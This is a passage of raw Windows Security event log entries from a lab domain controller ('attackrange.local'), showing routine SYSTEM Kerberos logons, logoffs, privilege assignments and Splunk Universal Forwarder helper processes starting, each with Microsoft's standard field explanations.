The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255869
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x377407

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255882
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255881
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x548
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:42:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255883
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:42:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255884
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:42:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255885
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc30
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:42:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255886
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3775D1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:42:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255889
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x37A513

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:42:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255888
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x37A513
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64851

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:42:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255887
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x37A513

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:43:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255890
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe64
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:43:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255891
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:43:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255893
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:43:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255892
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x468
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:43:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255894
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:43:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255895
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x119c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:43:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255896
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x60c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:43:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255899
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x37DAD1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:43:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255898
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x37DAD1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64864

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:43:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255897
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x37DAD1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:44:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255900
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x968
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:44:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255901
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4c4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:44:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255903
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
